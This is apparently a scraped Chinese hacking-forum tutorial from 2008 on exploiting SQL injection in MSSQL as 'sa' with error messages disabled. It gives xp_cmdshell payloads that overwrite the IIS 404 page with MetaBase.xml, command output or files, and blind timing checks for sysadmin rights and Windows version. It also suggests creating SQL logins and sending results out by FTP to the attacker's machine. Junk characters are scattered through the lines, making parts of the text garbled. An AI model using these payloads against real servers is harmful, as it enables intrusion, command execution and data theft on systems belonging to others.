遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。- v/ n+ C6 ]1 v
) E) ~4 ~! Z4 W0 T3 O+ C7 Y
虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。4 o0 @9 o) d: K( p7 C6 {' L* D) q
8 X( O9 }# s u4 b9 M2 I
这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。. b! ~0 u" z7 ^2 Q$ A1 x% N' _
@4 r, ~: S( R4 j9 F2 q5 B% V
IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm
+ P$ \* E/ r$ W4 x5 w6 L# F( D! ~- Y
得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--
4 Y: [7 ^+ t" r( h
5 U; b; S5 q+ b5 E% l1 Y* _* f$ b. D ,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。
8 K+ x+ [3 h3 | I$ I
$ P# L( E$ U# T( y0 q 执行命令得到回显0 V7 v+ W2 G. n# j9 _8 y
1 d7 V- X4 S J- c& A7 A9 X9 I 通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--
0 ]3 B1 Y3 P! ?% Q9 L2 S; O! u
/ T) Y6 I' W6 `: n" A 得到文件也shi相同,把文件copy到404b.htm就行了
# e0 F1 V5 V4 G/ R+ D
6 h7 ]4 _, X; U5 u* V: I by 28ice, 2008/6/264 A! \0 N# D5 x
" [9 G; @9 m- v- C
摘自 28度的冰( |4 S; i1 j" s2 u
0 u' |8 X$ w( `; w7 I2 {; I 盲注判断权限和操作系统版本
8 J8 ^- B: C Z1 ~' l
" s( H8 l4 {1 }9 D' ] 首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?$ H- o3 A5 d6 r% R2 l
: o0 J. r& d9 ]; N6 f: `6 E
最简单的,可能以用这样的方法:) H1 S: `) @$ q P' E
* w& O# ]; N# Q) d1 p( r' m 1=(select IS_SRVROLEMEMBER(’sysadmin’))
0 Q) w( S2 L. T$ c f- s+ N# F9 s
当然,有些情况下,这个方法并不奏效。
# t, F0 U0 \: f* g8 L" B6 P. G; n
既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。
# _5 o8 y3 p3 x: w7 _% b6 z& {: N! w U9 t
有个3办法可能以解决这个问题
: f+ p" l( h2 A! `) q4 h/ \/ v9 g) r' R/ s/ n) f
a.把执行结果写到404b.htm,具体请看我的上一篇文章
; N9 k# G- P' @4 Z- }
5 E% l. ]1 x' f! R8 w b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟
5 E; M' h* R r; H5 t" y( i* W. W0 C, _* \/ ~6 r% z
c.如果1433端口可能以连接,那干脆新建个sql登录# S; ?" d r0 o+ P, m/ E
" T! U7 s6 |, ~% [, ?" k
d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数
8 |* p2 ^) n2 k8 q1 D+ c
+ g7 M6 H: x+ }; Z. W, C; H! ~ 还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下
$ _9 ?; w* w: O. ~7 y& p' M. T# @; a
# P s5 {+ I" X 很简单0 U- O' a# r1 q! ?
: U! z7 {& n3 P( s; {
执行systeminfo* E6 ~ Y7 `4 v: | H5 e* g7 e
9 y( \6 S# \3 d; M# _& _4 [0 L
在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |